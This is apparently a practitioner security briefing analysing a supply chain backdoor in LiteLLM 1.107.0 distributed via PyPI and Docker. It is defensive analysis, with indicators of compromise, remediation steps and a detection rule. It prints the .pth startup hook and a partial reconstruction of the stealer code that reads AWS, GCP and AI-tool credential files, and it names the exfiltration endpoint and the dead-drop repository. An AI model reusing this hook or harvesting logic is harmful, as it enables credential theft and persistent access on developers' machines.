P.K. SHARMA

Cyber security intelligence, AI governance, practitioner analysis

LiteLLM supply chain attack poisons official PyPI and Docker builds with Python startup backdoor

Open-source AI gateway LiteLLM has suffered a critical software supply chain compromise after threat actors stole maintainer GitHub CLI OAuth tokens, executed a build against a malicious typosquatted fork, and pushed backdoored release 1.107.0 to PyPI and Docker Hub.

By Parminder Kumar Sharma · · 11 min read

LiteLLM supply chain attack poisons official PyPI and Docker builds with Python startup backdoor

Open-source AI proxy and gateway framework LiteLLM has suffered a severe software supply chain compromise after threat actors weaponised stolen GitHub CLI OAuth tokens belonging to project maintainers. The attackers bypassed repository branch protections, triggered an automated release pipeline from a malicious typosquatted fork (Berri-AI/litellm, diverging from the legitimate BerriAI/litellm repository by a single hyphen), and distributed a backdoored package version (1.107.0) across official public distribution channels on the Python Package Index (PyPI), Docker Hub, and the GitHub Container Registry (GHCR).

LiteLLM serves as critical routing infrastructure for modern artificial intelligence applications, proxying API requests across dozens of large language model providers, including OpenAI, Anthropic, Google Gemini, AWS Bedrock, and local deployment frameworks. Because LiteLLM acts as a centralised credential vault and routing switch, the poisoned release carried catastrophic implications for enterprise AI environments, developer workstations, and automated continuous integration pipelines worldwide.

Audit of verified technical disclosures versus deployment assumptions

Evaluating the operational exposure generated by the LiteLLM supply chain compromise requires a rigorous demarcation between facts confirmed by vendor incident reports and threat intelligence teams versus assumptions regarding downstream deployment models.

Audit of verified technical disclosures in LiteLLM Post-Mortem and Datadog Threat Research versus operational assumptions

Incident DimensionExplicitly Verified by BerriAI, Datadog, & StepSecurityUnverified or Dependent on Downstream Architecture
Initial Intrusion VectorTheft of GitHub CLI OAuth personal access tokens belonging to three project maintainers.The exact initial compromise vector on maintainer endpoints (such as phishing, infostealer malware, or credential stuffing).
Pipeline ManipulationExecution of official GitHub Actions release workflow against lookalike fork Berri-AI/litellm.Whether other unreleased branches or repository secrets were accessed during the maintenance account compromise.
Exposure WindowsPyPI release active from 11:39 to 13:23 UTC (104 minutes); Docker Hub active from 11:46 to approximately 13:45 UTC (119 minutes).The precise global count of downstream automated CI builds and developer machines that fetched the poisoned release within those windows.
Execution MechanismAutomatic execution via cook.pth on Python interpreter startup; persistent hourly loop via sitecustomize.py.Whether secondary remote code payloads were pushed to infected systems prior to C2 infrastructure remediation.
Targeted CredentialsLiteLLM database credentials table, cloud IAM tokens (AWS, GCP, Azure), SSH/GPG keys, developer environment variables.The total quantity of API secrets successfully received by the attacker C2 endpoint (www.litellm.dev/healthcheck).
Prior Compromise HistorySecond supply chain attack in 2026, following the March 2026 compromise of versions 1.82.7 and 1.82.8 (215 days earlier, derived).Whether the threat actor behind the October incident is identical to or affiliated with the March intrusion actor.

Supply chain compromise architecture: token theft, typosquatted fork, and build hijacking

The compromise of LiteLLM represents a sophisticated software supply chain attack targeting the continuous integration and release pipeline rather than source code repositories. The attackers did not alter the legitimate codebase on GitHub; the official source repository tag v1.107.0 remained completely untampered. Instead, the threat actor exploited stolen credentials to manipulate release artifact provenance, constructing backdoored binary wheels and Docker container images directly within official publishing channels.

The multi-stage supply chain compromise of LiteLLM: from maintainer GitHub CLI OAuth token abuse and typosquatted build execution to Python startup backdoor persistence and cloud credential exfiltration.

The attack sequence proceeded through four coordinated phases:

  1. Maintainer Token Exfiltration: The attackers obtained valid GitHub CLI OAuth access tokens belonging to three separate BerriAI maintainers. These high-privilege tokens allowed programmatic interaction with GitHub Actions workflows, bypass of standard web-based security controls, and repository administration.

  2. Typosquatted Repository Forking: To circumvent branch protection policies on the upstream BerriAI/litellm repository, the actor established a deceptive fork named Berri-AI/litellm. By inserting a single hyphen between Berri and AI, the repository appeared visually authentic to casual observers while remaining under total attacker control. The actor inserted the malicious payloads into the fork's packaging configuration (specifically modifying the Maturin Rust-to-Python build manifest).

  3. Release Workflow Trigger and Approval: Using the first stolen maintainer token, the attacker dispatched the private GitHub Actions release workflow, instructing the runner to ingest code from the typosquatted Berri-AI fork rather than the primary branch. The workflow required multi-party authorization; the attacker used the second stolen maintainer token to approve the deployment, neutralizing peer-review governance.

  4. Public Registry Distribution and Audit Tampering: The authorized workflow completed successfully on official GitHub infrastructure, leveraging legitimate maintainer API tokens stored in repository secrets to publish version 1.107.0 directly to PyPI, Docker Hub, and GHCR. Immediately following distribution, the attacker utilized token privileges to delete the GitHub Actions workflow run logs, attempting to eliminate forensic evidence of the fork diversion.

Technical anatomy of Python .pth startup hooks: why pip uninstall re-triggers the backdoor

The defining technical feature of the LiteLLM attack is its abuse of Python path configuration (.pth) files. In standard Python runtime architecture, the site module is imported automatically when the Python interpreter initializes. During this startup routine, the site module scans all site-packages directories for files bearing the .pth extension. While originally designed to append additional directories to sys.path, Python's implementation contains a legacy feature: any line starting with import is executed as arbitrary Python code.

The malicious wheel package dropped three files directly into the root of the target Python environment's site-packages folder: cook.pth, cook.py, and sitecustomize.py. The contents of cook.pth consisted of a single instruction: import cook. This design yielded extraordinary operational stealth and execution persistence.

# File: /site-packages/cook.pth
# Standard Python path file executing arbitrary code upon interpreter initialization
import cook

# Execution sequence:
# 1. Any Python binary launches (python3, pip, pytest, ansible, uvicorn)
# 2. Python core imports standard library module 'site.py'
# 3. site.py parses all .pth files in site-packages
# 4. 'import cook' is executed in the root namespace before user script runs
# 5. cook.py spawns credential harvest and launches sitecustomize.py background RAT

Because the execution hook is bound to the interpreter rather than the litellm module, the malware does not depend on an enterprise application executing import litellm. If an automated CI/CD pipeline or developer machine installed the package as an indirect dependency, every subsequent Python invocation triggered the payload. Crucially, when administrators attempted to diagnose or remediate the compromise by running pip show litellm or pip uninstall litellm, pip itself (being a Python script) initialized the site module, read cook.pth, and executed the payload afresh.

The credential harvesting engine: targeting LiteLLM database keys and cloud secrets

Once invoked by cook.pth, the primary payload cook.py functions as an aggressive, specialised information stealer. Threat analysis by Datadog Security Labs revealed that the malware specifically targeted the unique operating model of AI proxies and development environments.

When deployed in production, LiteLLM manages access control and upstream API routing by storing provider secrets (including OpenAI, Anthropic, Gemini, AWS Bedrock, and Mistral keys) inside a backing PostgreSQL database table designated LiteLLM_CredentialsTable. The cook.py script inspected local environment variables and connection strings, connected directly to the database, and queried up to 500 active API keys in cleartext, bundling them for immediate exfiltration.

# Structural representation of cook.py credential harvesting logic
import os, sys, json, urllib.request

def harvest_developer_secrets():
    loot = dict(
        env_vars=dict(os.environ),
        cloud_creds=dict(),
        ssh_keys=[],
        ai_sessions=dict()
    )
    
    # Target AWS credentials and session tokens
    aws_path = os.path.expanduser('~/.aws/credentials')
    if os.path.exists(aws_path):
        with open(aws_path, 'r') as f:
            loot['cloud_creds']['aws'] = f.read()
            
    # Target Google Cloud Application Default Credentials
    gcp_path = os.path.expanduser('~/.config/gcloud/application_default_credentials.json')
    if os.path.exists(gcp_path):
        with open(gcp_path, 'r') as f:
            loot['cloud_creds']['gcp'] = f.read()
            
    # Target AI developer tool sessions (Claude Desktop, Cursor, Copilot)
    cursor_storage = os.path.expanduser('~/.cursor/User/globalStorage/state.vscdb')
    if os.path.exists(cursor_storage):
        loot['ai_sessions']['cursor_present'] = True
        
    return loot

# Exfiltration payload dispatched via HTTPS POST to lookalike C2
# Endpoint: https://www.litellm.dev/healthcheck

Beyond AI gateway secrets, cook.py systematically harvested general infrastructure credentials across the host:

• Cloud Provider Tokens: AWS credentials and config files (~/.aws/credentials), Google Cloud Application Default Credentials, and Azure CLI profile tokens. • Developer Environment Secrets: Local .env files discovered in parent directory trees, shell configuration files (~/.bashrc, ~/.zshrc), and command history (~/.bash_history). • Cryptographic Identities: SSH private keys (~/.ssh/id_rsa, ~/.ssh/id_ed25519) and GPG keyring files. • Package Manager Credentials: npm authentication tokens (~/.npmrc), PyPI API tokens (~/.pypirc), and Git credential caches. • Modern AI Tool State: Configuration databases and session tokens from emerging developer AI utilities, including Claude Desktop, Cursor editor state databases, and GitHub Copilot configuration profiles.

C2 infrastructure, hourly loader loop, and dead-drop persistence

Data exfiltration and remote command execution operated via a multi-tiered infrastructure designed to evade domain reputation filters and endpoint monitoring. Harvested credentials were compiled into an encrypted JSON payload and transmitted via an HTTPS POST request to www.litellm.dev/healthcheck. The domain litellm.dev was registered by the threat actor to mimic the legitimate project website litellm.ai, blending exfiltration traffic into ordinary application healthcheck monitoring.

For persistent remote access on Linux and macOS environments, the third injected file, sitecustomize.py, established a background loader daemon. To prevent duplicate executions from consuming host resources, the daemon created a lock file located at /tmp/remote_code_loader.lock. The loader entered an hourly polling loop that queried a remote dead-drop file hosted on an external GitHub repository (letters9813/pythonclient-test/main/domain.txt).

By reading the text contents of the dead drop, the loader resolved the active second-stage command-and-control server dynamically. The daemon then fetched and executed secondary Python bytecode in memory, establishing an interactive Remote Access Trojan (RAT) capability that survived application restarts as long as the Python environment remained intact.

Forensic taxonomy of verified indicators of compromise

Security operations and forensic investigation units can inspect container registries, host filesystems, and network perimeter logs against verified indicators of compromise documented during threat analysis.

Verified Forensic Indicators of Compromise for LiteLLM Version 1.107.0 Supply Chain Incident

Indicator TypeIdentifier / PathCryptographic Hash / ValueForensic Threat Context
Malicious Filesite-packages/cook.pth84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7dPath configuration startup hook triggering automatic import of cook.py upon Python initialization.
Malicious Filesite-packages/cook.py03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897eaPrimary info-stealer harvesting LiteLLM DB credentials, cloud IAM tokens, SSH keys, and .env files.
Malicious Filesite-packages/sitecustomize.pyb6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465Background loader daemon establishing hourly dead-drop check and in-memory RAT execution.
Runtime Lockfile/tmp/remote_code_loader.lockFilesystem MarkerProcess locking artifact created by sitecustomize.py background daemon on Linux and macOS hosts.
C2 Endpointhttps://www.litellm.dev/healthcheckHost IP: 172.67.x.x / CloudflareLookalike domain utilized for exfiltration of harvested credentials via HTTPS POST.
C2 Dead Dropletters9813/pythonclient-testGitHub Repository (domain.txt)Dead-drop resolver utilized by the background loader to fetch dynamic secondary C2 server addresses.
Docker Image Digestghcr.io/berriai/litellm:v1.107.0sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339eCompromised container image published to GHCR and Docker Hub under tags latest, main-latest, and v1.107.0.

Incident response protocol and detection engineering playbook

Organizations identifying version 1.107.0 within their package manifests, container images, or CI/CD build caches must execute immediate incident containment. Because of the automatic execution characteristics of .pth files, remediation must follow a strict non-interactive procedure.

Phase 1: Safe Filesystem Purging (Non-Python Tooling) Do NOT execute pip uninstall litellm or python -m pip. Instead, use system shell utilities (such as find, rm, or PowerShell) to locate and eradicate the malicious files directly from the site-packages directory: rm -f /path/to/site-packages/cook.pth rm -f /path/to/site-packages/cook.py rm -f /path/to/site-packages/sitecustomize.py rm -rf /path/to/site-packages/pycache/cook*

Phase 2: Process Termination Inspect the operating system process table for active background loaders and terminate them immediately: pkill -9 -f remote_code_loader rm -f /tmp/remote_code_loader.lock

Phase 3: Package Pinning and Downgrade Rebuild all affected environments from clean, uncompromised virtual environments, strictly pinning the library to safe historical release 1.106.2 or verified post-incident patches: pip install litellm==1.106.2 --force-reinstall

Phase 4: Mandatory Enterprise Secret Invalidation Any system that ran version 1.107.0 must be treated as completely compromised. Security teams must invalidate and rotate all exposed secrets from an external, clean workstation: • Invalidate all OpenAI, Anthropic, Gemini, Azure OpenAI, and AWS Bedrock API keys stored in LiteLLM or environment variables. • Rotate all AWS IAM access keys, GCP service account keys, and Azure service principal secrets present on affected hosts. • Cycle all SSH private keys, GitHub/GitLab personal access tokens, and npm publish credentials.

title: Malicious Python .pth File Creation in Site-Packages
id: e89a41b2-7c34-4b91-9e23-99b8214f8a12
status: experimental
description: Detects file creation events for suspicious .pth path configuration files in Python site-packages directories associated with supply chain persistence.
references:
  - https://docs.litellm.ai/blog/security-incident-oct-21-2026
  - https://securitylabs.datadoghq.com/articles/litellm-compromised-pypi-docker/
author: P.K. Sharma
date: 2026-10-23
logsource:
  category: file_event
  product: linux
detection:
  selection_path:
    TargetFilename|contains: '/site-packages/'
    TargetFilename|endswith: '.pth'
  selection_name:
    TargetFilename|contains:
      - '/cook.pth'
      - '/sitecustomize.py'
  condition: selection_path or selection_name
falsepositives:
  - Legitimate Python packaging tools establishing development symlinks (such as easy-install.pth or distutils.pth)
level: high
tags:
  - attack.persistence
  - attack.t1546.012
  - attack.supply_chain_compromise

Regulatory compliance implications and the systemic risk of AI gateway infrastructure

The compromise of LiteLLM carries profound compliance ramifications under international cybersecurity and data privacy regulations. Under UK GDPR and EU GDPR Article 32 (Security of Processing), organizations routing user data, personal information, or customer communications through an AI proxy are legally obligated to ensure the ongoing confidentiality and integrity of processing systems. The exfiltration of master API keys and database tables exposes downstream customer interactions to unauthorized inspection, requiring formal regulatory breach risk assessments within 72 hours of identification.

Furthermore, the recurring vulnerability of the LiteLLM build pipeline (suffering two major supply chain compromises across 215 days in 2026) highlights a critical vulnerability in modern artificial intelligence engineering: the reliance on single-maintainer or small-team open-source tools as enterprise-wide security choke points. Under the UK Network and Information Systems (NIS) Regulations and the NCSC Cyber Assessment Framework (CAF) Principle B2 (Asset Management and Supply Chain), enterprise risk frameworks must enforce cryptographic artifact verification, build provenance attestation (SLSA Level 3), and strict lockfile pinning to insulate production AI pipelines from upstream repository hijacking.

Key operational facts and incident verification checklist

• Affected Package and Version: LiteLLM version 1.107.0 published across PyPI, Docker Hub, and GitHub Container Registry (GHCR). • Compromise Window: PyPI release was active for 104 minutes (11:39 to 13:23 UTC on 21 October 2026); Docker Hub release active for 119 minutes (11:46 to approximately 13:45 UTC). • Root Cause: Theft of GitHub CLI OAuth personal access tokens from three BerriAI project maintainers, enabling branch protection bypass and execution of an automated build against lookalike fork Berri-AI/litellm. • Execution Mechanism: Injected cook.pth startup hook executes automatically whenever ANY Python process initializes in that environment, requiring zero import litellm invocations. • Stealer Target Profile: LiteLLM PostgreSQL credentials table (harvesting up to 500 stored LLM API keys), AWS/GCP/Azure cloud tokens, SSH/GPG keys, .env secrets, and AI developer session tokens. • Remote RAT Persistence: Background daemon (sitecustomize.py) creating lockfile /tmp/remote_code_loader.lock and executing an hourly polling loop against a GitHub dead drop to resolve secondary C2 servers. • Remediation Directive: Manually purge cook.pth, cook.py, and sitecustomize.py using non-Python system shell commands, terminate loader processes, pin to clean release 1.106.2, and invalidate 100 percent of exposed LLM and cloud credentials.

Sources

  1. PrimaryLiteLLM Incident Post-Mortem: Supply Chain Compromise of Release 1.107.0BerriAI LiteLLM Security Advisoryaccessed 2026-10-23
  2. PrimaryThreat Research: In-Depth Analysis of the LiteLLM Python Startup Backdoor and Info-StealerDatadog Security Labsaccessed 2026-10-23
  3. PrimaryLiteLLM Official PyPI Repository & Security Release 1.107.1Python Package Index (PyPI)accessed 2026-10-23

Share this briefing

Know someone who owns this problem? Send it to them.

Related briefings

The briefing, in your inbox

Practitioner analysis of cyber and AI security news. No vendor noise.

How often

Every new briefing in one email, at 7am, or at 7am, 12:30pm and 6pm. Nothing is sent when nothing is new. Unsubscribe any time.